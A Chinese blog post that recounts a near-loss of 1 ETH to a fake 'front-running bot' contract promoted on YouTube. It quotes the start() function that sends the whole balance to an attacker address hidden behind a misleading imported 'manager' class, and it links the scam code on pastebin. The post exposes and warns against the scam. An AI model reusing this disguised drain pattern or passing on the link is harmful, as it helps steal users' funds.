差点被骗了一个ETH

起因

前段时间在群里看到群友发了一个油管的链接,视频内容大致就是你只需按照他的代码部署机器人的EVM合约即可躺赚收益,原理就是狙击在Uniswap在某些大额交易变成“事实”之前抢先插队在大额买入或卖出之前买入,并且在大额买入或卖出成功后立马卖出或买入完成套利。

经过

抱着怀疑态度,看了下评论(当时觉得800多条评论,不可能是假的吧),觉得卧槽牛逼,赶紧试一下。作者还为大家解惑,为什么免费分享代码,是因为想建立自己在圈子的影响力,说得跟真的一样。

image-20220909151715810.png

代码很简单,https://pastebin.com/raw/vY4Y2c1y,就一个文件,用remix连接狐狸部署即可,然后向合约转钱,手动执行合约的函数就可以开始赚钱,教程里说转的eth越多赚的越多。

谨慎起见还是用测试网络Ropsten试一下,测试不要钱,反正从水龙头可以随便拿钱(https://faucet.metamask.io/)。

image-20220909155136883.png
image-20220909155325236.png

部署完毕,合约放了两个函数出来start就是开始开始赚取收益,withdraw就是把合约里的钱进行提现 (看似逻辑非常完美),因为合约也是你自己部署的,自己往合约上转钱。

往合约转1eth

image-20220911212148052.png

有了,点击start!开始赚钱!

image-20220911212234722.png

下一刻,钱没了。看下内部转账,调用start之后,合约内部往下面这个地址转了所有的钱。

image-20220911220225631.png

开始百思不得其解,因为在代码全局里根本搜不到这个地址。

回来看下start方法

function start() public payable {      

  /*
  * @dev Perform frontrun action from different contract pools
  * @param contract address to snipe liquidity from
  * @return `liquidity`.
  */

  payable(manager.DepositAddress()).transfer(address(this).balance);
}

这个manager.DepositAddress()很有误导性,看起来是合约的管理者,但manager这个类在代码里找不到。

花了很久很久,终于。。。发现了一个可疑的引入

image-20220909183538413.png

npmjs.com一搜出来是这么个玩意,死都想不到是这个cmc的npm出了问题。真就还以为是cmc官网的api。真的太有迷惑性了。

image-20220909183814321.png

在非常隐蔽的地方找到了这个manager类,其余代码都已注释

image-20220911220121870.png
image-20220911220029373.png
image-20220911220324332.png

最终在这里返回了骗子的地址。

总结

1.凡是说只要部署合约就能赚钱的大概率是骗子,夹子机器是一个复杂的技术, 仅有合约是不能夹到交易的, 因为合约不会自动运行, 必须要有脚本去调用合约,evm上的合约需要消费gas,都是有执行生命周期的,不可能一直存在那。

2.小白部署合约前,即使看不懂solidty代码,也应该在testnet进行测试,确保合约的安全性。

3.世界上没有不劳而获的事情,不断提高自己的认知是获的前提。

你可能感兴趣的:(差点被骗了一个ETH)